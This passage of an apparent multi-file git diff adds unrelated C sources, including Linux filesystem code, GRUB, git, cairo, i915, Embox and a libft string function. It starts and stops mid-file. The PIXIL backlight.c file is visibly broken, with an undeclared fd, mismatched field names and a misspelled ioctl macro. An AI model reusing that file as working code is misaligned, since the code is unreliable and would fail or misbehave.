tmp->next, index++) + ; + read_unlock(&file_systems_lock); + return index; +} + +/* + * Whee.. Weird sysv syscall. + */ +SYSCALL_DEFINE3(sysfs, int, option, unsigned long, arg1, unsigned long, arg2) +{ + int retval = -EINVAL; + + switch (option) { + case 1: + retval = fs_index((const char __user *) arg1); + break; + + case 2: + retval = fs_name(arg1, (char __user *) arg2); + break; + + case 3: + retval = fs_maxindex(); + break; + } + return retval; +} + +int __init get_filesystem_list(char *buf) +{ + int len = 0; + struct file_system_type * tmp; + + read_lock(&file_systems_lock); + tmp = file_systems; + while (tmp && len < PAGE_SIZE - 80) { + len += sprintf(buf+len, "%s\t%s\n", + (tmp->fs_flags & FS_REQUIRES_DEV) ? "" : "nodev", + tmp->name); + tmp = tmp->next; + } + read_unlock(&file_systems_lock); + return len; +} +EXPORT_SYMBOL(get_filesystem_list); + + +#ifdef CONFIG_PROC_FS +static int filesystems_proc_show(struct seq_file *m, void *v) +{ + struct file_system_type * tmp; + + read_lock(&file_systems_lock); + tmp = file_systems; + while (tmp) { + seq_printf(m, "%s\t%s\n", + (tmp->fs_flags & FS_REQUIRES_DEV) ? "" : "nodev", + tmp->name); + tmp = tmp->next; + } + read_unlock(&file_systems_lock); + return 0; +} + +static int filesystems_proc_open(struct inode *inode, struct file *file) +{ + return single_open(file, filesystems_proc_show, NULL); +} + +static const struct file_operations filesystems_proc_fops = { + .open = filesystems_proc_open, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; + +static int __init proc_filesystems_init(void) +{ + proc_create("filesystems", 0, NULL, &filesystems_proc_fops); + return 0; +} +module_init(proc_filesystems_init); +#endif + +static struct file_system_type *__get_fs_type(const char *name, int len) +{ + struct file_system_type *fs; + + read_lock(&file_systems_lock); + fs = *(find_filesystem(name, len)); + if (fs && !try_module_get(fs->owner)) + fs = NULL; + read_unlock(&file_systems_lock); + return fs; +} + +struct file_system_type *get_fs_type(const char *name) +{ + struct file_system_type *fs; + const char *dot = strchr(name, '.'); + int len = dot ? dot - name : strlen(name); + + fs = __get_fs_type(name, len); + if (!fs && (request_module("%.*s", len, name) == 0)) + fs = __get_fs_type(name, len); + + if (dot && fs && !(fs->fs_flags & FS_HAS_SUBTYPE)) { + put_filesystem(fs); + fs = NULL; + } + return fs; +} + +EXPORT_SYMBOL(get_fs_type); diff --git a/pool/shard011/C/0141902_ft_strncat.c b/pool/shard011/C/0141902_ft_strncat.c new file mode 100644 index 0000000000000000000000000000000000000000..5eba213444eed5ceb5e6af3f121839290086b394 --- /dev/null +++ b/pool/shard011/C/0141902_ft_strncat.c @@ -0,0 +1,29 @@ +/* ************************************************************************** */ +/* */ +/* ::: :::::::: */ +/* ft_strncat.c :+: :+: :+: */ +/* +:+ +:+ +:+ */ +/* By: scaussin +#+ +:+ +#+ */ +/* +#+#+#+#+#+ +#+ */ +/* Created: 2013/11/21 09:15:22 by scaussin #+# #+# */ +/* Updated: 2013/11/21 09:15:23 by scaussin ### ########.fr */ +/* */ +/* ************************************************************************** */ + +#include "libft.h" + +char *ft_strncat(char *dest, const char *src, size_t n) +{ + unsigned int i; + unsigned int len; + + i = 0; + len = ft_strlen(dest); + while (i < n && src[i]) + { + dest[len + i] = src[i]; + i++; + } + dest[len + i] = '\0'; + return (dest); +} diff --git a/pool/shard011/C/0141903_diff-index.c b/pool/shard011/C/0141903_diff-index.c new file mode 100644 index 0000000000000000000000000000000000000000..04837494feba401c7f689eab5574768d3fd126de --- /dev/null +++ b/pool/shard011/C/0141903_diff-index.c @@ -0,0 +1,50 @@ +#include "cache.h" +#include "diff.h" +#include "commit.h" +#include "revision.h" +#include "builtin.h" + +static const char diff_cache_usage[] = +"git diff-index [-m] [--cached] " +"[] [...]" +COMMON_DIFF_OPTIONS_HELP; + +int cmd_diff_index(int argc, const char **argv, const char *prefix) +{ + struct rev_info rev; + int cached = 0; + int i; + int result; + + init_revisions(&rev, prefix); + git_config(git_diff_basic_config, NULL); /* no "diff" UI options */ + rev.abbrev = 0; + + argc = setup_revisions(argc, argv, &rev, NULL); + for (i = 1; i < argc; i++) { + const char *arg = argv[i]; + + if (!strcmp(arg, "--cached")) + cached = 1; + else + usage(diff_cache_usage); + } + if (!rev.diffopt.output_format) + rev.diffopt.output_format = DIFF_FORMAT_RAW; + + /* + * Make sure there is one revision (i.e. pending object), + * and there is no revision filtering parameters. + */ + if (rev.pending.nr != 1 || + rev.max_count != -1 || rev.min_age != -1 || rev.max_age != -1) + usage(diff_cache_usage); + if (!cached) + setup_work_tree(); + if (read_cache() < 0) { + perror("read_cache"); + return -1; + } + result = run_diff_index(&rev, cached); + return diff_result_code(&rev.diffopt, result); +} diff --git a/pool/shard011/C/0141904_i915_oa_sklgt2.c b/pool/shard011/C/0141904_i915_oa_sklgt2.c new file mode 100644 index 0000000000000000000000000000000000000000..890d55879946aad9287d0e012cf1971cc9e355f0 --- /dev/null +++ b/pool/shard011/C/0141904_i915_oa_sklgt2.c @@ -0,0 +1,108 @@ +/* + * Autogenerated file by GPU Top : https://github.com/rib/gputop + * DO NOT EDIT manually! + * + * + * Copyright (c) 2015 Intel Corporation + * + * Permission is hereby granted, free of charge, to any person obtaining a + * copy of this software and associated documentation files (the "Software"), + * to deal in the Software without restriction, including without limitation + * the rights to use, copy, modify, merge, publish, distribute, sublicense, + * and/or sell copies of the Software, and to permit persons to whom the + * Software is furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice (including the next + * paragraph) shall be included in all copies or substantial portions of the + * Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS + * IN THE SOFTWARE. + * + */ + +#include + +#include "i915_drv.h" +#include "i915_oa_sklgt2.h" + +static const struct i915_oa_reg b_counter_config_test_oa[] = { + { _MMIO(0x2740), 0x00000000 }, + { _MMIO(0x2714), 0xf0800000 }, + { _MMIO(0x2710), 0x00000000 }, + { _MMIO(0x2724), 0xf0800000 }, + { _MMIO(0x2720), 0x00000000 }, + { _MMIO(0x2770), 0x00000004 }, + { _MMIO(0x2774), 0x00000000 }, + { _MMIO(0x2778), 0x00000003 }, + { _MMIO(0x277c), 0x00000000 }, + { _MMIO(0x2780), 0x00000007 }, + { _MMIO(0x2784), 0x00000000 }, + { _MMIO(0x2788), 0x00100002 }, + { _MMIO(0x278c), 0x0000fff7 }, + { _MMIO(0x2790), 0x00100002 }, + { _MMIO(0x2794), 0x0000ffcf }, + { _MMIO(0x2798), 0x00100082 }, + { _MMIO(0x279c), 0x0000ffef }, + { _MMIO(0x27a0), 0x001000c2 }, + { _MMIO(0x27a4), 0x0000ffe7 }, + { _MMIO(0x27a8), 0x00100001 }, + { _MMIO(0x27ac), 0x0000ffe7 }, +}; + +static const struct i915_oa_reg flex_eu_config_test_oa[] = { +}; + +static const struct i915_oa_reg mux_config_test_oa[] = { + { _MMIO(0x9840), 0x00000080 }, + { _MMIO(0x9888), 0x11810000 }, + { _MMIO(0x9888), 0x07810016 }, + { _MMIO(0x9888), 0x1f810000 }, + { _MMIO(0x9888), 0x1d810000 }, + { _MMIO(0x9888), 0x1b930040 }, + { _MMIO(0x9888), 0x07e54000 }, + { _MMIO(0x9888), 0x1f908000 }, + { _MMIO(0x9888), 0x11900000 }, + { _MMIO(0x9888), 0x37900000 }, + { _MMIO(0x9888), 0x53900000 }, + { _MMIO(0x9888), 0x45900000 }, + { _MMIO(0x9888), 0x33900000 }, +}; + +static ssize_t +show_test_oa_id(struct device *kdev, struct device_attribute *attr, char *buf) +{ + return sprintf(buf, "1\n"); +} + +void +i915_perf_load_test_config_sklgt2(struct drm_i915_private *dev_priv) +{ + strncpy(dev_priv->perf.oa.test_config.uuid, + "1651949f-0ac0-4cb1-a06f-dafd74a407d1", + UUID_STRING_LEN); + dev_priv->perf.oa.test_config.id = 1; + + dev_priv->perf.oa.test_config.mux_regs = mux_config_test_oa; + dev_priv->perf.oa.test_config.mux_regs_len = ARRAY_SIZE(mux_config_test_oa); + + dev_priv->perf.oa.test_config.b_counter_regs = b_counter_config_test_oa; + dev_priv->perf.oa.test_config.b_counter_regs_len = ARRAY_SIZE(b_counter_config_test_oa); + + dev_priv->perf.oa.test_config.flex_regs = flex_eu_config_test_oa; + dev_priv->perf.oa.test_config.flex_regs_len = ARRAY_SIZE(flex_eu_config_test_oa); + + dev_priv->perf.oa.test_config.sysfs_metric.name = "1651949f-0ac0-4cb1-a06f-dafd74a407d1"; + dev_priv->perf.oa.test_config.sysfs_metric.attrs = dev_priv->perf.oa.test_config.attrs; + + dev_priv->perf.oa.test_config.attrs[0] = &dev_priv->perf.oa.test_config.sysfs_metric_id.attr; + + dev_priv->perf.oa.test_config.sysfs_metric_id.attr.name = "id"; + dev_priv->perf.oa.test_config.sysfs_metric_id.attr.mode = 0444; + dev_priv->perf.oa.test_config.sysfs_metric_id.show = show_test_oa_id; +} diff --git a/pool/shard011/C/0141905_ISA2+lwsync+addr+addr.c b/pool/shard011/C/0141905_ISA2+lwsync+addr+addr.c new file mode 100644 index 0000000000000000000000000000000000000000..df17321828aeb2934e5dbf726b184ac45e39c2e3 --- /dev/null +++ b/pool/shard011/C/0141905_ISA2+lwsync+addr+addr.c @@ -0,0 +1,71 @@ +/* Copyright (C) 2018 Magnus Lång and Tuan Phong Ngo + * This benchmark is part of SWSC */ + +#include +#include +#include +#include + +atomic_int vars[3]; +atomic_int atom_1_r1_1; +atomic_int atom_2_r1_1; +atomic_int atom_2_r4_0; + +void *t0(void *arg){ +label_1:; + atomic_store_explicit(&vars[0], 1, memory_order_seq_cst); + + atomic_store_explicit(&vars[1], 1, memory_order_seq_cst); + return NULL; +} + +void *t1(void *arg){ +label_2:; + int v2_r1 = atomic_load_explicit(&vars[1], memory_order_seq_cst); + int v3_r3 = v2_r1 ^ v2_r1; + atomic_store_explicit(&vars[2+v3_r3], 1, memory_order_seq_cst); + int v15 = (v2_r1 == 1); + atomic_store_explicit(&atom_1_r1_1, v15, memory_order_seq_cst); + return NULL; +} + +void *t2(void *arg){ +label_3:; + int v5_r1 = atomic_load_explicit(&vars[2], memory_order_seq_cst); + int v6_r3 = v5_r1 ^ v5_r1; + int v9_r4 = atomic_load_explicit(&vars[0+v6_r3], memory_order_seq_cst); + int v16 = (v5_r1 == 1); + atomic_store_explicit(&atom_2_r1_1, v16, memory_order_seq_cst); + int v17 = (v9_r4 == 0); + atomic_store_explicit(&atom_2_r4_0, v17, memory_order_seq_cst); + return NULL; +} + +int main(int argc, char *argv[]){ + pthread_t thr0; + pthread_t thr1; + pthread_t thr2; + + atomic_init(&vars[1], 0); + atomic_init(&vars[2], 0); + atomic_init(&vars[0], 0); + atomic_init(&atom_1_r1_1, 0); + atomic_init(&atom_2_r1_1, 0); + atomic_init(&atom_2_r4_0, 0); + + pthread_create(&thr0, NULL, t0, NULL); + pthread_create(&thr1, NULL, t1, NULL); + pthread_create(&thr2, NULL, t2, NULL); + + pthread_join(thr0, NULL); + pthread_join(thr1, NULL); + pthread_join(thr2, NULL); + + int v10 = atomic_load_explicit(&atom_1_r1_1, memory_order_seq_cst); + int v11 = atomic_load_explicit(&atom_2_r1_1, memory_order_seq_cst); + int v12 = atomic_load_explicit(&atom_2_r4_0, memory_order_seq_cst); + int v13_conj = v11 & v12; + int v14_conj = v10 & v13_conj; + if (v14_conj == 1) assert(0); + return 0; +} diff --git a/pool/shard011/C/0141906_backlight.c b/pool/shard011/C/0141906_backlight.c new file mode 100644 index 0000000000000000000000000000000000000000..d9c44f06e8742a5448ef66e9baa59dac87b3cd12 --- /dev/null +++ b/pool/shard011/C/0141906_backlight.c @@ -0,0 +1,99 @@ +/* + * Copyright (c) 2003 Century Software, Inc. All Rights Reserved. + * + * This file is part of the PIXIL Operating Environment + * + * The use, copying and distribution of this file is governed by one + * of two licenses, the PIXIL Commercial License, or the GNU General + * Public License, version 2. + * + * Licensees holding a valid PIXIL Commercial License may use this file + * in accordance with the PIXIL Commercial License Agreement provided + * with the Software. Others are governed under the terms of the GNU + * General Public License version 2. + * + * This file may be distributed and/or modified under the terms of the + * GNU General Public License version 2 as published by the Free + * Software Foundation and appearing in the file LICENSE.GPL included + * in the packaging of this file. + * + * This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING + * THE WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE. + * + * RESTRICTED RIGHTS LEGEND + * + * Use, duplication, or disclosure by the government is subject to + * restriction as set forth in paragraph (b)(3)(b) of the Rights in + * Technical Data and Computer Software clause in DAR 7-104.9(a). + * + * See http://www.pixil.org/gpl/ for GPL licensing + * information. + * + * See http://www.pixil.org/license.html or + * email cetsales@centurysoftware.com for information about the PIXIL + * Commercial License Agreement, or if any conditions of this licensing + * are not clear to you. + */ + +#include +#include +#include +#include + +#include + +#include + +static int open_device(void) { + int fd = open("/dev/fb0", O_RDWR); + return fd; +} + +/* + pix_bl_ctrl() - Controls the backlight. + pwr: 0 = off, 1 = on + level: brightness level between 0 and the device maximum +*/ + +int +pix_bl_ctrl(int pwr, int level) +{ + struct bl_setting set; + + fd = open_device(); + if (!fd) return -1; + + + ioctl(fd, FB_BACKLIGHT_GET_POWER, &set); + + if (set.cur != (pwr) ? 1 : 0) { + set.curr = (pwr) ? 1 : 0; + ioctl(fd, FB_BACKLIGHT_SET_POWER, &set); + } + + ioctl(fd, FB_BACKIGHT_GET_BRIGHTNESS, &set); + + if (level != set.cur) { + set.curr = (level > set.max) ? set.max : level; + ioctl(fd, FB_BACKLIGHT_SET_BRIGHTNESS, &set); + } + + close(fd); + return 0; +} + +int +pix_bl_getmxval(void) +{ + struct bl_setting set; + + fd = open_device(); + if (!fd) return -1; + + ioctl(fd, FB_BACKLIGHT_GET_BRIGHTNESS, &set); + close(fd); + + return set.max; +} + diff --git a/pool/shard011/C/0141907_node_next.c b/pool/shard011/C/0141907_node_next.c new file mode 100644 index 0000000000000000000000000000000000000000..88ecbb538435a9396d99816daf6d96144c997b32 --- /dev/null +++ b/pool/shard011/C/0141907_node_next.c @@ -0,0 +1,40 @@ +/*! + * locate node by identifier + */ + +#include +#include + +#include "node.h" + +/*! + * \ingroup mptNode + * \brief get next node + * + * Find node with matching identifier + * starting with passed list element. + * + * \param curr base node + * \param ident name of node + */ +/*@null@*/ extern MPT_STRUCT(node) *mpt_node_next(const MPT_STRUCT(node) *curr, const char *ident) +{ + size_t idlen; + + idlen = ident ? strlen(ident) + 1 : 0; + + while (curr) { + const void *cid; + size_t clen; + + cid = mpt_identifier_data(&curr->ident); + clen = curr->ident._len; + if (idlen == clen + && curr->ident._type == 'c' + && (!idlen || !memcmp(ident, cid, idlen - 1))) { + return (MPT_STRUCT(node) *) curr; + } + curr = curr->next; + } + return 0; +} diff --git a/pool/shard011/C/0141908_main.c b/pool/shard011/C/0141908_main.c new file mode 100644 index 0000000000000000000000000000000000000000..f3eff8c61786976433f3f09cae804a3d1c8c530c --- /dev/null +++ b/pool/shard011/C/0141908_main.c @@ -0,0 +1,88 @@ +#include "legato.h" +#include "interfaces.h" + +#include "iio.h" + +static void PerformScan(struct iio_context *localCtx) +{ + unsigned int i; + struct iio_device *device; + for (i = 0, device = iio_context_get_device(localCtx, i); + device != NULL; + ++i, device = iio_context_get_device(localCtx, i)) + { + LE_INFO("-> IIO Device: '%s'", iio_device_get_name(device)); + unsigned int j; + const char *attr; + char attrVal[128]; + + LE_INFO("--> IIO Device is trigger: %d", iio_device_is_trigger(device)); + for (j = 0, attr = iio_device_get_attr(device, j); + attr != NULL; + ++j, attr = iio_device_get_attr(device, j)) + { + const ssize_t readLen = iio_device_attr_read(device, attr, attrVal, sizeof(attrVal)); + LE_INFO( + "--> IIO Device Attribute: '%s=%s'", + attr, + readLen < 0 ? "read error!" : attrVal); + } + for (j = 0, attr = iio_device_get_buffer_attr(device, j); + attr != NULL; + ++j, attr = iio_device_get_buffer_attr(device, j)) + { + const ssize_t readLen = + iio_device_buffer_attr_read(device, attr, attrVal, sizeof(attrVal)); + LE_INFO( + "--> IIO Device Buffer Attribute: '%s=%s'", + attr, + readLen < 0 ? "read error!" : attrVal); + } + for (j = 0, attr = iio_device_get_debug_attr(device, j); + attr != NULL; + ++j, attr = iio_device_get_debug_attr(device, j)) + { + const ssize_t readLen = + iio_device_debug_attr_read(device, attr, attrVal, sizeof(attrVal)); + LE_INFO( + "--> IIO Device Debug Attribute: '%s=%s'", + attr, + readLen < 0 ? "read error!" : attrVal); + } + + struct iio_channel *chan; + for (j = 0, chan = iio_device_get_channel(device, j); + chan != NULL; + ++j, chan = iio_device_get_channel(device, j)) + { + unsigned int k; + LE_INFO("--> IIO Channel: %s,%s", iio_channel_get_id(chan), iio_channel_get_name(chan)); + LE_INFO("---> Direction: %s", iio_channel_is_output(chan) ? "output" : "input"); + LE_INFO("---> Channel Type: %d", iio_channel_get_type(chan)); + LE_INFO("---> Enabled: %s", iio_channel_is_enabled(chan) ? "yes" : "no"); + for (k = 0, attr = iio_channel_get_attr(chan, k); + attr != NULL; + ++k, attr = iio_channel_get_attr(chan, k)) + { + const ssize_t readLen = iio_channel_attr_read(chan, attr, attrVal, sizeof(attrVal)); + LE_INFO( + "---> IIO Channel Attribute: %s=%s", + attr, + readLen < 0 ? "read error!" : attrVal); + } + } + } +} + +COMPONENT_INIT +{ + struct iio_context *localCtx = iio_create_local_context(); + LE_ASSERT(localCtx != NULL); + + LE_FATAL_IF( + iio_context_set_timeout(localCtx, 5000) != 0, "Failed to set timeout for local context"); + + PerformScan(localCtx); + + iio_context_destroy(localCtx); +} diff --git a/pool/shard011/C/0141909_dev_scrn_eof.c b/pool/shard011/C/0141909_dev_scrn_eof.c new file mode 100644 index 0000000000000000000000000000000000000000..1207af7b77b54167eee60490fd14a88e91df6a36 --- /dev/null +++ b/pool/shard011/C/0141909_dev_scrn_eof.c @@ -0,0 +1,43 @@ +/* detects EOF for file device */ + +#include "fb.h" + +void fb_DevScrnFillInput( DEV_SCRN_INFO *info ) +{ + FBSTRING *str; + size_t len = 0; + + str = fb_Inkey( ); + if( str != NULL ) + { + len = FB_STRSIZE( str ); + if( (str->data != NULL) && (len > 0) ) + { + DBG_ASSERT(len < sizeof(info->buffer)); + /* copy null-term too */ + memcpy( info->buffer, str->data, len+1 ); + } + + fb_hStrDelTemp( str ); + } + + info->length = len; +} + +int fb_DevScrnEof( FB_FILE *handle ) +{ + DEV_SCRN_INFO *info; + int got_data; + + FB_LOCK(); + info = (DEV_SCRN_INFO*) FB_HANDLE_DEREF(handle)->opaque; + got_data = info->length!=0; + FB_UNLOCK(); + if( !got_data ) { + FB_LOCK(); + fb_DevScrnFillInput( info ); + got_data = info->length!=0; + FB_UNLOCK(); + } + return !got_data; +} diff --git a/pool/shard011/C/0141910_sun.c b/pool/shard011/C/0141910_sun.c new file mode 100644 index 0000000000000000000000000000000000000000..a19bc0d6bd8dff3693d98aa859d2e197f799f2bc --- /dev/null +++ b/pool/shard011/C/0141910_sun.c @@ -0,0 +1,166 @@ +/* sun.c - Read SUN style partition tables. */ +/* + * GRUB -- GRand Unified Bootloader + * Copyright (C) 2002,2005,2006,2007 Free Software Foundation, Inc. + * + * GRUB is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * GRUB is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with GRUB. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#define GRUB_PARTMAP_SUN_MAGIC 0xDABE +#define GRUB_PARTMAP_SUN_MAX_PARTS 8 +#define GRUB_PARTMAP_SUN_WHOLE_DISK_ID 0x05 + +struct grub_sun_partition_info +{ + grub_uint8_t spare1; + grub_uint8_t id; + grub_uint8_t spare2; + grub_uint8_t flags; +} __attribute__ ((packed)); + +struct grub_sun_partition_descriptor +{ + grub_uint32_t start_cylinder; + grub_uint32_t num_sectors; +} __attribute__ ((packed)); + +struct grub_sun_block +{ + grub_uint8_t info[128]; /* Informative text string. */ + grub_uint8_t spare0[14]; + struct grub_sun_partition_info infos[8]; + grub_uint8_t spare1[246]; /* Boot information etc. */ + grub_uint16_t rspeed; /* Disk rotational speed. */ + grub_uint16_t pcylcount; /* Physical cylinder count. */ + grub_uint16_t sparecyl; /* extra sects per cylinder. */ + grub_uint8_t spare2[4]; /* More magic... */ + grub_uint16_t ilfact; /* Interleave factor. */ + grub_uint16_t ncyl; /* Data cylinder count. */ + grub_uint16_t nacyl; /* Alt. cylinder count. */ + grub_uint16_t ntrks; /* Tracks per cylinder. */ + grub_uint16_t nsect; /* Sectors per track. */ + grub_uint8_t spare3[4]; /* Even more magic... */ + struct grub_sun_partition_descriptor partitions[8]; + grub_uint16_t magic; /* Magic number. */ + grub_uint16_t csum; /* Label xor'd checksum. */ +} __attribute__ ((packed)); + +static struct grub_partition_map grub_sun_partition_map; + +/* Verify checksum (true=ok). */ +static int +grub_sun_is_valid (struct grub_sun_block *label) +{ + grub_uint16_t *pos; + grub_uint16_t sum = 0; + + for (pos = (grub_uint16_t *) label; + pos < (grub_uint16_t *) (label + 1); + pos++) + sum ^= *pos; + + return ! sum; +} + +static grub_err_t +sun_partition_map_iterate (grub_disk_t disk, + int (*hook) (grub_disk_t disk, + const grub_partition_t partition, + void *closure), + void *closure) +{ + grub_partition_t p; + struct grub_sun_block block; + int partnum; + grub_err_t err; + + p = (grub_partition_t) grub_zalloc (sizeof (struct grub_partition)); + if (! p) + return grub_errno; + + p->partmap = &grub_sun_partition_map; + err = grub_disk_read (disk, 0, 0, sizeof (struct grub_sun_block), + &block); + if (err) + { + grub_free (p); + return err; + } + + if (GRUB_PARTMAP_SUN_MAGIC != grub_be_to_cpu16 (block.magic)) + { + grub_free (p); + return grub_error (GRUB_ERR_BAD_PART_TABLE, "not a sun partition table"); + } + + if (! grub_sun_is_valid (&block)) + { + grub_free (p); + return grub_error (GRUB_ERR_BAD_PART_TABLE, "invalid checksum"); + } + + /* Maybe another error value would be better, because partition + table _is_ recognized but invalid. */ + for (partnum = 0; partnum < GRUB_PARTMAP_SUN_MAX_PARTS; partnum++) + { + struct grub_sun_partition_descriptor *desc; + + if (block.infos[partnum].id == 0 + || block.infos[partnum].id == GRUB_PARTMAP_SUN_WHOLE_DISK_ID) + continue; + + desc = &block.partitions[partnum]; + p->start = ((grub_uint64_t) grub_be_to_cpu32 (desc->start_cylinder) + * grub_be_to_cpu16 (block.ntrks) + * grub_be_to_cpu16 (block.nsect)); + p->len = grub_be_to_cpu32 (desc->num_sectors); + p->number = p->index = partnum; + if (p->len) + { + if (hook (disk, p, closure)) + partnum = GRUB_PARTMAP_SUN_MAX_PARTS; + } + } + + grub_free (p); + + return grub_errno; +} + +/* Partition map type. */ +static struct grub_partition_map grub_sun_partition_map = + { + .name = "sun", + .iterate = sun_partition_map_iterate, + }; + +GRUB_MOD_INIT(part_sun) +{ + grub_partition_map_register (&grub_sun_partition_map); +} + +GRUB_MOD_FINI(part_sun) +{ + grub_partition_map_unregister (&grub_sun_partition_map); +} + diff --git a/pool/shard011/C/0141911_long-dashed-lines.c b/pool/shard011/C/0141911_long-dashed-lines.c new file mode 100644 index 0000000000000000000000000000000000000000..ba66a4af429935fe2b78b454617662b3c9cb8f25 --- /dev/null +++ b/pool/shard011/C/0141911_long-dashed-lines.c @@ -0,0 +1,74 @@ +/* -*- Mode: c; tab-width: 8; c-basic-offset: 4; indent-tabs-mode: t; -*- */ +/* + * Copyright © 2007 Mozilla Corporation + * + * Permission is hereby granted, free of charge, to any person + * obtaining a copy of this software and associated documentation + * files (the "Software"), to deal in the Software without + * restriction, including without limitation the rights to use, copy, + * modify, merge, publish, distribute, sublicense, and/or sell copies + * of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS + * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN + * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + * Author: Vladimir Vukicevic + */ + +#include "cairo-perf.h" + +static cairo_time_t +do_long_dashed_lines (cairo_t *cr, int width, int height, int loops) +{ + double dash[2] = { 2.0, 2.0 }; + int i; + + cairo_save (cr); + cairo_set_source_rgb (cr, 1.0, 1.0, 1.0); + cairo_paint (cr); + + cairo_set_source_rgb (cr, 1.0, 0.0, 0.0); + cairo_set_dash (cr, dash, 2, 0.0); + + cairo_new_path (cr); + cairo_set_line_width (cr, 1.0); + + for (i = 0; i < height-1; i++) { + double y0 = (double) i + 0.5; + cairo_move_to (cr, 0.0, y0); + cairo_line_to (cr, width, y0); + } + + cairo_perf_timer_start (); + + while (loops--) + cairo_stroke_preserve (cr); + + cairo_perf_timer_stop (); + + cairo_restore (cr); + + return cairo_perf_timer_elapsed (); +} + +cairo_bool_t +long_dashed_lines_enabled (cairo_perf_t *perf) +{ + return cairo_perf_can_run (perf, "long-dashed-lines", NULL); +} + +void +long_dashed_lines (cairo_perf_t *perf, cairo_t *cr, int width, int height) +{ + cairo_perf_run (perf, "long-dashed-lines", do_long_dashed_lines, NULL); +} diff --git a/pool/shard011/C/0141912_db_dynamic.c b/pool/shard011/C/0141912_db_dynamic.c new file mode 100644 index 0000000000000000000000000000000000000000..b0032c80f4345426c9de52cbd8f55c77a9be138b --- /dev/null +++ b/pool/shard011/C/0141912_db_dynamic.c @@ -0,0 +1,67 @@ +/** + * @file + * @brief + * + * @author Anton Kozlov + * @date 18.02.2014 + */ + +#include +#include +#include + +#include + +#include + +EMBOX_UNIT_INIT(init); + +static int copy(const char* from, const char* to) { + FILE *fromf, *tof; + int a; + + if (NULL == (fromf = fopen(from, "r"))) { + return errno; + } + + if (NULL == (tof = fopen(to, "w"))) { + fclose(fromf); + return errno; + } + + while ((a = fgetc(fromf)) != EOF) { + fputc(a, tof); + } + + fclose(fromf); + fclose(tof); + + return 0; +} + +static int init(void) { + int ret; + + if (0 != (ret = copy("/passwd", PASSWD_FILE))) { + return ret; + } + + if (0 != (ret = copy("/group", GROUP_FILE))) { + return ret; + } + + if (0 > (ret = creat(SHADOW_FILE, S_IRWXU | S_IRWXG))) { + return ret; + } + + if (0 != (ret = copy("/shadow", SHADOW_FILE))) { + return ret; + } + + if (0 != (ret = copy("/adduser.conf", ADDUSER_FILE))) { + return ret; + } + + return 0; +} + diff --git a/pool/shard011/C/0141913_Wreal-conversion-1.c b/pool/shard011/C/0141913_Wreal-conversion-1.c new file mode 100644 index 0000000000000000000000000000000000000000..eec4e3f5091e81f4398abaa84cf5e30a534fd8a4 --- /dev/null +++ b/pool/shard011/C/0141913_Wreal-conversion-1.c @@ -0,0 +1,25 @@ +// { dg-do compile } +// { dg-options "-Wreal-conversion" } + +#include + +int func1(int a) { + double f = a; + return f; // { dg-warning "conversion to" } +} + +double func3(); + +void func2() { + double g = 3.2; + float f; + int t = g; // { dg-warning "conversion to" } + int p; + p = f; // { dg-warning "conversion to" } + func1(g); // { dg-warning "conversion to" } + char c = f; // { dg-warning "conversion to" } + size_t s; + p = s; + int q; + q = func3(); // { dg-warning "conversion to" } +} diff --git a/pool/shard011/C/0141914_io_rw.c b/pool/shard011/C/0141914_io_rw.c new file mode 100644 index 0000000000000000000000000000000000000000..5fb75e2cd27a160139fcace5cf0287401cebf0aa --- /dev/null +++ b/pool/shard011/C/0141914_io_rw.c @@ -0,0 +1,205 @@ +/* + Copyright 2008 Google Inc. + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +*/ + +#define _FILE_OFFSET_BITS 64 +#include +#include +#include +#include +#include +#include +#include +#include +#include "commands.h" +#include "platform.h" + +#ifdef ARCH_X86 +#include +#else +/* Platform independent IO port access using /dev/port device node */ +static const char dev_port[] = "/dev/port"; + +static int io_in(int iobase, int size, void *data) +{ + int ret, fd; + + fd = open(dev_port, O_RDONLY); + if (fd < 0) { + fprintf(stderr, "open(\"%s\"): %s\n", dev_port, strerror(errno)); + return -1; + } + + if (lseek(fd, iobase, SEEK_SET) == (off_t)-1) { + fprintf(stderr, "lseek(%d): %s\n", iobase, strerror(errno)); + close(fd); + return -1; + } + + ret = 